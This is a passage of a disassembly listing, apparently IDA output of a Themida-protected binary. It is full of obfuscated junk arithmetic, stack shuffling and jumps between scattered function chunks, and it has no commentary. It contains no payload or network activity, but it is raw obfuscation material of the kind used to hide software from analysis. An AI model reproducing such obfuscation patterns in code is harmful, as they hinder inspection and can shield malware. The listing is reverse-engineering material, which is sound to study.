; START OF FUNCTION CHUNK FOR sub_5916C4
loc_59470C: ; CODE XREF: sub_5916C4-60C4j
; Themida_:0058F04Ej
shl eax, 1
jnp loc_590EDD
jmp loc_59423F
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_594719: ; CODE XREF: sub_58F5B5+874Dj
sub ebp, 4291057Dh
jnz loc_5955E8
add ebp, 0F4D74686h
mov ebx, ebp
pop ebp
inc ebx
xchg ebp, ebx
not ebp
pop edx
; END OF FUNCTION CHUNK FOR sub_58F5B5
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_594734: ; CODE XREF: sub_5EC2E8-5F292j
mov ebp, eax
pop eax
sub [edi+24h], ebp
push [esp+2Ch+var_2C]
mov ebp, [esp+30h+var_30]
push ebx
jmp loc_58C450
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_594746: ; CODE XREF: Themida_:005943D5j
add edi, 4
jmp loc_593C84
; ---------------------------------------------------------------------------
loc_594751: ; CODE XREF: Themida_:0058EA9Fj
push ecx
mov ecx, 1D527E60h
dec ecx
inc ecx
push ebp
push edi
mov edi, 57975120h
mov ebp, edi
jmp loc_59202D
; ---------------------------------------------------------------------------
loc_594767: ; CODE XREF: Themida_:00595B83j
sub eax, 4
xchg eax, [esp]
pop esp
push esp
pop dword ptr [esp]
push ebx
mov ebx, 4
add [esp+4], ebx
pop ebx
jmp loc_5932B4
; ---------------------------------------------------------------------------
loc_594784: ; CODE XREF: Themida_:00591D54j
sub esp, 4
mov [esp], ecx
push eax
mov al, 27h
dec al
jmp loc_593C4C
; ---------------------------------------------------------------------------
loc_594794: ; CODE XREF: Themida_:0058D8F7j
mov [esp], eax
mov ah, 18h
jmp loc_593E23
; ---------------------------------------------------------------------------
loc_59479E: ; CODE XREF: Themida_:005968DFj
shr dh, 4
jnz loc_591432
xor dh, 4Ch
jmp loc_58F10B
; ---------------------------------------------------------------------------
mov bl, 0C7h
loc_5947B1: ; CODE XREF: Themida_:0058AB4Dj
mov ch, 0E6h
sub bl, ch
mov cx, [esp]
add esp, 2
push ecx
mov cl, 1Eh
add cl, 2Fh
add bl, cl
jmp loc_592BC0
; ---------------------------------------------------------------------------
loc_5947C9: ; CODE XREF: Themida_:0058C37Cj
jmp loc_591169
; ---------------------------------------------------------------------------
loc_5947CE: ; CODE XREF: Themida_:00595893j
sub esp, 4
mov [esp], edx
jmp loc_58D9B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5947DC: ; CODE XREF: sub_5EC2E8-60BB4j
; Themida_:0058DDF6j
jp loc_58BB23
or dl, 81h
jnp sub_596CA1
push ebx
mov bl, 1Ch
not bl
jmp loc_58FB47
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
pop ecx
mov ecx, esi
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5947F8: ; CODE XREF: sub_58C17E+146Bj
pop esi
add ebx, edi
sub ebx, 40314BC9h
jmp loc_58F7A5
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_594806: ; CODE XREF: sub_590010-341Aj
add esi, 644E1B53h
push eax
jmp loc_58B51F
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_594812: ; CODE XREF: sub_595E21-74F5j
pop ebp
mov ecx, ebp
pop ebp
jmp loc_59168F
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_59481B: ; CODE XREF: sub_58C17E-3A9j
add edi, 1CEA6F0Dh
sub edi, 7B762154h
xor edi, 73C754D7h
jmp loc_5921A6
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_594832: ; CODE XREF: Themida_:00592602j
push eax
mov eax, 32BB0C87h
sub eax, 17F21559h
not eax
sub eax, 36AB583Eh
jmp loc_5979D2
; ---------------------------------------------------------------------------
loc_594849: ; CODE XREF: Themida_:00594D92j
mov ebx, 5D525905h
sub [esp+8], ebx
pop ebx
sub [esp+4], ebp
push esi
jmp loc_596BD8
; ---------------------------------------------------------------------------
loc_59485D: ; CODE XREF: Themida_:005973CDj
and ebp, 5C543E8Bh
jmp loc_596D79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_594868: ; CODE XREF: sub_595258-72ABj
mov edx, esi
push [esp+0Ch+var_C]
pop esi
add esp, 4
and eax, edx
pop edx
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
jmp loc_58C8BC
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BA12
loc_594880: ; CODE XREF: sub_58BA12+6AAEj
not edi
jmp loc_593F00
; END OF FUNCTION CHUNK FOR sub_58BA12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_594887: ; CODE XREF: sub_58C17E+2AD5j
push edx
add [esp+4+var_4], 2BEF5894h
pop eax
sub eax, 2BEF5894h
jmp loc_596AAC
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_59489A: ; CODE XREF: sub_5916C4-5F4Aj
; Themida_:00590CA6j
mov [esp+0], eax
mov eax, 1
mov edx, eax
mov eax, [esp+0]
jmp loc_596173
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5948AC: ; CODE XREF: sub_58C17E+712Aj
sub ecx, 31B152B2h
jmp loc_5953C4
; END OF FUNCTION CHUNK FOR sub_58C17E
; =============== S U B R O U T I N E =======================================
sub_5948B7 proc near ; CODE XREF: sub_5916CB+473Bj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058BE59 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00590305 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00590E5C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596928 SIZE 0000002E BYTES
sub esp, 4
mov [esp+4+var_4], ebp
sub esp, 4
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop ebp
push eax
mov eax, 4
sub ebp, 68B54411h
jmp loc_596928
sub_5948B7 endp
; ---------------------------------------------------------------------------
loc_5948DF: ; CODE XREF: Themida_:0058DB5Fj
mov bp, 2645h
shl bp, 1
jmp loc_592369
; ---------------------------------------------------------------------------
loc_5948EB: ; CODE XREF: Themida_:00593B69j
shr ebx, 3
not ebx
push ecx
mov ecx, 59CC2972h
neg ecx
inc ecx
not ecx
shl ecx, 4
jmp loc_591D8C
; ---------------------------------------------------------------------------
loc_594903: ; CODE XREF: Themida_:0058F631j
sub esp, 4
jmp near ptr byte_58A717
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_59490B: ; CODE XREF: sub_595E21-9162j
; sub_58C17E+2F9Bj
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_594910: ; CODE XREF: Themida_:005921A1j
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_58BC83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_594936: ; CODE XREF: sub_58C17E+5F1Ej
push eax
jmp loc_59366E
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59493C: ; CODE XREF: sub_590467+714Cj
mov edx, [esp-6+arg_0+2]
add esp, 4
add al, bh
mov ebx, [esp-0Ah+arg_4+2]
add esp, 4
push edi
mov edi, esp
add edi, 4
sub edi, 4
xor edi, [esp-0Ah+arg_4+2]
xor [esp-0Ah+arg_4+2], edi
xor edi, [esp-0Ah+arg_4+2]
pop esp
mov [esp-0Eh+arg_8+2], ebx
mov bl, 35h
push eax
mov al, 0EBh
inc al
xchg cl, al
jmp loc_58C03A
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_594971: ; CODE XREF: sub_590B70+102Bj
add edi, 25200235h
neg edi
jge loc_591909
xor edi, 0AFCAA726h
push edi
pop esi
pop edi
mov edx, esi
mov esi, [esp+4+var_4]
add esp, 4
add edx, edi
jmp loc_590E7D
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
loc_59499A: ; CODE XREF: Themida_:00594599j
; Themida_:005973E4j
pop esi
jmp loc_597324
; ---------------------------------------------------------------------------
loc_5949A0: ; CODE XREF: Themida_:00595C2Ej
xchg edi, esi
jmp loc_5965E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_5949A7: ; CODE XREF: sub_5938B9-7DB8j
pop ecx
add bl, al
jmp loc_591EF3
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_5949AF: ; CODE XREF: Themida_:0058DEA4j
or esi, 5D2E09B2h
jmp loc_590EDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F836
loc_5949BA: ; CODE XREF: sub_58F836+5BCj
and ebp, edx
jmp loc_595EED
; END OF FUNCTION CHUNK FOR sub_58F836
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_5949C1: ; CODE XREF: sub_5916CB-6D7Cj
add esp, 4
shr eax, 0Ah
xor eax, ecx
push 5612h
jmp loc_597D77
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_5949D3: ; CODE XREF: Themida_:0058E02Fj
xor ebx, 5471A2B7h
sub esp, 4
mov [esp], edx
jmp loc_58E06E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5949E4: ; CODE XREF: sub_5EC2E8-5D407j
add esp, 4
pop [esp+34h+var_34]
mov esp, [esp+30h+var_30]
sub esp, 4
mov [esp+34h+var_34], ebp
sub esp, 4
mov [esp+38h+var_38], esp
jmp loc_58B6B0
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_58C577
; ---------------------------------------------------------------------------
loc_594A0D: ; CODE XREF: Themida_:0058BCA0j
add edx, edi
jmp loc_58F74F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59590E
loc_594A14: ; CODE XREF: sub_59590E+Ej
mov ebx, ecx
pop ecx
shl ebx, 7
not ebx
inc ebx
add ebx, 719BFD82h
add ecx, ebx
pop ebx
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
jmp loc_58DFDF
; END OF FUNCTION CHUNK FOR sub_59590E
; ---------------------------------------------------------------------------
loc_594A34: ; CODE XREF: Themida_:00591C8Aj
mov ebp, 1A507240h
jmp loc_5951F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_594A3E: ; CODE XREF: sub_58F5B5-1F8Aj
shr eax, 6
jmp loc_58C546
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_594A46: ; CODE XREF: sub_5916C4-3966j
; sub_595BDA-211Bj
push ecx
mov ch, 47h
jmp loc_58C7F9
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
loc_594A4E: ; CODE XREF: Themida_:00595741j
push eax
mov eax, 4
jmp loc_592B87
; ---------------------------------------------------------------------------
loc_594A59: ; CODE XREF: Themida_:00594EE6j
shl ah, 3
jmp loc_58FED9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EC96
loc_594A61: ; CODE XREF: sub_58EC96+3j
push ax
mov ah, 66h
add cl, ah
jmp loc_593F42
; END OF FUNCTION CHUNK FOR sub_58EC96
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_594A6C: ; CODE XREF: sub_58F5B5+1493j
add ebx, 4
push edx
mov edx, 4
add ebx, edx
pop edx
xchg ebx, [esp-4+arg_0]
pop esp
sub esp, 4
mov [esp-4+arg_0], edi
push ebp
push esi
push 547819ABh
pop esi
mov ebp, esi
pop esi
shr ebp, 3
push 53B8h
mov [esp+4+var_4], edx
mov edx, 282D4C8Ch
sub ebp, edx
pop edx
add ebp, 500D551Eh
jns loc_596ACF
add ebp, 76162828h
jmp loc_5923DB
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
mov cl, 0D0h
loc_594AC0: ; CODE XREF: Themida_:0058E32Aj
mov cl, 4Eh
xor cl, 0AEh
sub bl, cl
pop ecx
sub bl, 0Ch
add bl, al
add bl, 0Ch
push cx
mov cl, 0E0h
jmp loc_5972CE
; ---------------------------------------------------------------------------
loc_594AD9: ; CODE XREF: Themida_:00593DB6j
; Themida_:00597F29j
jb loc_594E63
jmp loc_58D400
; ---------------------------------------------------------------------------
mov edi, esi
mov bh, ch
mov bl, 4Bh
loc_594AEA: ; CODE XREF: Themida_:00594FAAj
sub edx, 0D607D4h
push dword ptr [esp]
pop edi
add esp, 4
push eax
jmp loc_5930A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_594AFD: ; CODE XREF: sub_5916C4-1BEDj
and ebp, esi
pop esi
xor ebp, 70252284h
add ecx, ebp
mov ebp, [esp-10h+arg_C]
add esp, 4
xchg ecx, [esp-14h+arg_10]
mov esp, [esp-14h+arg_10]
jmp sub_591D0B
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_594B19: ; CODE XREF: Themida_:00593C50j
jmp loc_593B7A
; ---------------------------------------------------------------------------
loc_594B1E: ; CODE XREF: Themida_:0059666Cj
mov [esp], ebp
mov ebp, 5EB64723h
jmp loc_58EB69
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_594B2B: ; CODE XREF: sub_58C17E:loc_58CED7j
; sub_58C17E+BC9Bj
push ecx
push edi
mov edi, 2810337Eh
jmp loc_58D2DA
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594FD6
loc_594B37: ; CODE XREF: sub_594FD6+Ej
pop eax
jmp loc_597062
; END OF FUNCTION CHUNK FOR sub_594FD6
; ---------------------------------------------------------------------------
loc_594B3D: ; CODE XREF: Themida_:005925D6j
inc bh
xor bh, 5Bh
mov cl, bh
pop ebx
xor al, cl
mov ecx, [esp]
jmp loc_58C5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_594B4F: ; CODE XREF: sub_595BDA-8A7Bj
push esp
pop ecx
add ecx, 4
push edi
push esi
jmp loc_597E45
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_594B5E: ; CODE XREF: sub_5916C4+959j
mov ecx, esp
jmp loc_595705
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_594B65: ; CODE XREF: Themida_:0058CF58j
mov ebx, 564D74F4h
xor ebx, 4B7420AEh
mov eax, ebx
mov ebx, [esp]
add esp, 4
sub eax, 396524E6h
push ebx
mov ebx, 0C1C8776Dh
xor eax, ebx
jmp loc_5916D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_594B8D: ; CODE XREF: sub_590010+2401j
sub esi, eax
pop eax
and esi, 688F04B7h
jmp sub_595258
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_594B9B: ; CODE XREF: sub_5916C4-1E0j
add ebp, 0A2706DBh
sub edx, 5B8A3F89h
jmp loc_58A9A8
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_594BAC: ; CODE XREF: sub_5916CB+516Aj
neg eax
jbe loc_58C72E
add eax, 0B13531EBh
jmp loc_590C11
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
jmp loc_591E91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_594BC3: ; CODE XREF: sub_58F5B5+465Fj
jmp loc_591954
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_594BC8: ; CODE XREF: Themida_:0058B180j
push eax
mov eax, 4
add ebx, eax
pop eax
push 5B68h
mov [esp], edi
push ecx
jmp loc_590955
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_594BDF: ; CODE XREF: sub_59762D-69D4j
push edx
mov edx, 7E802668h
inc edx
xchg eax, edx
not eax
xchg eax, edx
inc edx
shl edx, 3
shr edx, 5
add edx, 61CCE833h
add ebx, edx
pop edx
xor ebp, ebx
mov ebx, [esp+8+var_8]
add esp, 4
push edx
push esi
mov esi, 0
push esi
pop edx
pop esi
sub edx, ebp
jmp loc_597832
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_594C16: ; CODE XREF: sub_58C17E+D07j
xchg ecx, [esp-16h+arg_10+2]
pop esp
div cl
movzx cx, ah
push 554Bh
mov [esp-16h+arg_10+2], esi
push esp
pop esi
push eax
jmp loc_58D085
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_594C30: ; CODE XREF: sub_59524C-6928j
mov edi, 7D13274Ch
inc edi
push ecx
jmp loc_593320
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_594C3C: ; CODE XREF: sub_5916C4+583Aj
add [esp-18h+arg_14], 4CB11663h
pop ecx
push edi
push edx
push 17B94C21h
pop edx
jmp loc_5972E7
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_594C51: ; CODE XREF: sub_5EC2E8-606D0j
jmp loc_58B9A8
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_594C56: ; CODE XREF: sub_594654-9E58j
xor edi, 5BBE7399h
neg edi
jmp loc_593C61
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
push esi
mov esi, esp
add esi, 4
sub esi, 2
jmp loc_592321
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_594C74: ; CODE XREF: sub_58C17E+4E04j
push edx
mov edx, 4F8F6799h
mov esi, edx
push dword ptr [esp+0]
pop edx
add esp, 4
sub esi, 4F8F6798h
push esi
push ebp
mov ebp, 6F646A69h
sub [esp+4], ebp
pop ebp
pop eax
add eax, 6F646A69h
pop esi
shl eax, cl
push 24B0h
mov [esp+0Ah+var_C+2], edi
mov edi, 0FFFFFFFFh
jmp loc_58A7D7
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_594CB3: ; CODE XREF: sub_5916C4:loc_590EDDj
jmp loc_58C4FF
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_594CB8: ; CODE XREF: Themida_:0058B50Dj
xchg edi, [esp]
pop esp
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_594CC1: ; CODE XREF: sub_58B4D6+AE78j
add eax, ebx
pop ebx
push edi
sub esp, 4
mov [esp+0Ch+var_C], ebp
mov ebp, 784120C6h
push ebp
pop edi
jmp loc_59242F
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_594CDA: ; CODE XREF: sub_590010+64F3j
pop edi
add ecx, 9B24B80h
pop eax
push 4F17h
mov [esp+0], ebp
push 38F32868h
mov ebp, [esp-10h+arg_C]
jmp loc_591B1E
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_594CF7: ; CODE XREF: sub_591059+9j
mov ebp, 1A661CA9h
mov ebx, 80F9793Ch
add ebx, 5BC2138Eh
sub ebx, ebp
sub ebx, 5BC2138Eh
mov ebp, [esp+4+var_4]
add esp, 4
sub ebx, 61EE235Ch
push eax
mov eax, 61F1195Ah
jmp loc_58CBA4
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
loc_594D26: ; CODE XREF: Themida_:00595533j
mov esp, [esp]
idiv cl
movzx cx, ah
push small 3F55h
mov [esp], cx
movzx cx, al
jmp loc_593D44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_594D40: ; CODE XREF: sub_58C17E+8F9Aj
pop esp
push esi
mov esi, 2AEF3068h
add edi, esi
pop esi
push esi
mov esi, 19742664h
or edi, esi
pop esi
not edi
xor edi, 0A002891Ah
add ebp, edi
mov edi, [esp+6+var_8+2]
add esp, 4
xchg ebp, [esp+2+var_4+2]
jmp loc_58D8E9
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_594D6B: ; CODE XREF: Themida_:0059527Aj
mov eax, 4
add ecx, eax
pop eax
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
push 57B44BA4h
pop ebp
push ebx
jmp loc_594849
; ---------------------------------------------------------------------------
loc_594D97: ; CODE XREF: Themida_:00591448j
sub esp, 4
mov [esp], esi
jmp loc_596E7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_594DA2: ; CODE XREF: sub_5916C4+48FBj
pop esi
push ecx
jmp loc_58B605
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_594DA9: ; CODE XREF: sub_5EC2E8-55075j
xor eax, edx
pop edx
sub eax, 0FFFFFFFFh
push eax
not [esp+30h+var_30]
pop eax
not eax
shr eax, 8
add eax, 2BBFF521h
add ebp, eax
pop eax
sub ebp, 49943014h
add ebp, ecx
add ebp, 49943014h
jmp loc_591954
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_594DD6: ; CODE XREF: Themida_:loc_58F5C0j
add eax, 0D2E09E6h
jmp loc_58D8C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_594DE0: ; CODE XREF: sub_58B4D6+C938j
mov [esp+10h+var_10], ebx
jmp loc_5931A2
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_594DE8: ; CODE XREF: Themida_:0058E82Ej
sub ebx, edx
pop edx
xchg ebx, [esp]
pop esp
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_58C71E
; ---------------------------------------------------------------------------
loc_594E0D: ; CODE XREF: Themida_:loc_58C776j
; Themida_:005977B5j
add esp, 4
jmp loc_58F325
; ---------------------------------------------------------------------------
loc_594E15: ; CODE XREF: Themida_:0058C1A7j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
pop eax
push esi
mov esi, esp
push 3631h
mov [esp], edi
mov edi, 54BC13D0h
inc edi
jmp loc_5914C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_594E3C: ; CODE XREF: sub_58C17E+618Bj
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp-0Eh+arg_8+2]
pop esp
xchg edi, [esp-12h+arg_C+2]
pop esp
mov ecx, [esp-16h+arg_10+2]
sub esp, 4
mov [esp-12h+arg_C+2], eax
mov eax, esp
push ebp
jmp loc_58D35B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_594E63: ; CODE XREF: Themida_:loc_594AD9j
jmp loc_59143A
; ---------------------------------------------------------------------------
loc_594E68: ; CODE XREF: Themida_:0058C40Ej
mov edi, esi
jmp loc_58B6FB
; ---------------------------------------------------------------------------
loc_594E6F: ; CODE XREF: Themida_:0058BE11j
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
jmp loc_58ACE6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_594E8C: ; CODE XREF: sub_5919E2-44FAj
mov [esp+0], edi
mov edi, 0D6F6CAAh
sub [ecx], edi
mov edi, [esp+0]
add esp, 4
mov ecx, [esp-4+arg_0]
add esp, 4
jmp loc_59348F
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
loc_594EA7: ; CODE XREF: Themida_:005940D1j
xor esi, 5E1109A9h
shr esi, 5
inc esi
jnz loc_594F7F
shl esi, 6
jmp loc_597D69
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
loc_594EC4: ; CODE XREF: Themida_:00590D0Dj
sub bl, 45h
pop eax
add bl, 0F8h
jmp loc_592863
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5951B9
loc_594ED0: ; CODE XREF: sub_5951B9-808Cj
push edx
sub esp, 4
mov [esp+10h+var_10], esp
add [esp+10h+var_10], 4
pop edx
jmp sub_58E3A6
; END OF FUNCTION CHUNK FOR sub_5951B9
; ---------------------------------------------------------------------------
loc_594EE4: ; CODE XREF: Themida_:005967F5j
inc ah
jnz loc_594A59
shl ah, 3
jmp loc_58F7ED
; ---------------------------------------------------------------------------
push ax
mov ah, 66h
add cl, ah
pop edi
mov esp, [esp]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_594F03: ; CODE XREF: sub_5938B9-4FCj
not ecx
jmp loc_591FB3
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_594F0A: ; CODE XREF: sub_5EC2E8-5987Fj
pop ebx
push 7527h
mov [esp+22h+var_24+2], ebx
mov bl, 82h
and bl, 0E1h
not bl
push dx
push eax
jmp loc_596FEE
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_594F22: ; CODE XREF: Themida_:0058CE61j
push ebx
push 213C21DDh
jmp loc_595E70
; ---------------------------------------------------------------------------
lodsb
xor al, bl
sub esp, 4
mov [esp], edx
jmp loc_58BF53
; ---------------------------------------------------------------------------
loc_594F3E: ; CODE XREF: Themida_:00591370j
pop ebp
push edi
mov edi, 24451ED6h
shr edi, 4
or edi, 269808D6h
ja loc_593359
and edi, 5CE47035h
jmp loc_59350A
; ---------------------------------------------------------------------------
mov ch, dh
pop ebx
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ecx
mov ecx, esp
push esi
jmp loc_59754A
; ---------------------------------------------------------------------------
loc_594F77: ; CODE XREF: Themida_:0058D231j
xor edi, [esp]
jmp loc_58CE15
; ---------------------------------------------------------------------------
loc_594F7F: ; CODE XREF: Themida_:00594EB1j
shl esi, 6
jmp loc_5969A0
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push esp
mov edx, [esp]
add esp, 4
push edi
mov edi, 81A1318h
push ebp
mov ebp, 81A1314h
sub edi, ebp
pop ebp
add edx, 0D607D4h
add edx, edi
jmp loc_594AEA
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_594FBE: ; CODE XREF: Themida_:0058C1D2j
pop ebx
dec ebx
jmp loc_58F2F9
; ---------------------------------------------------------------------------
loc_594FC5: ; CODE XREF: Themida_:0058AC37j
dec ebp
jl loc_58CB12
inc ebp
jl loc_5968D9
dec ebp
sub al, 0E7h
; =============== S U B R O U T I N E =======================================
sub_594FD6 proc near ; CODE XREF: sub_5938B9-14F3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058B154 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058ECCD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591B43 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594B37 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597062 SIZE 00000014 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
push eax
mov ah, bh
mov ch, ah
jmp loc_594B37
sub_594FD6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_594FE9: ; CODE XREF: sub_59524C+174Fj
mov esi, 2C306A0Bh
jmp loc_58D30A
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_594FF3: ; CODE XREF: Themida_:005941ACj
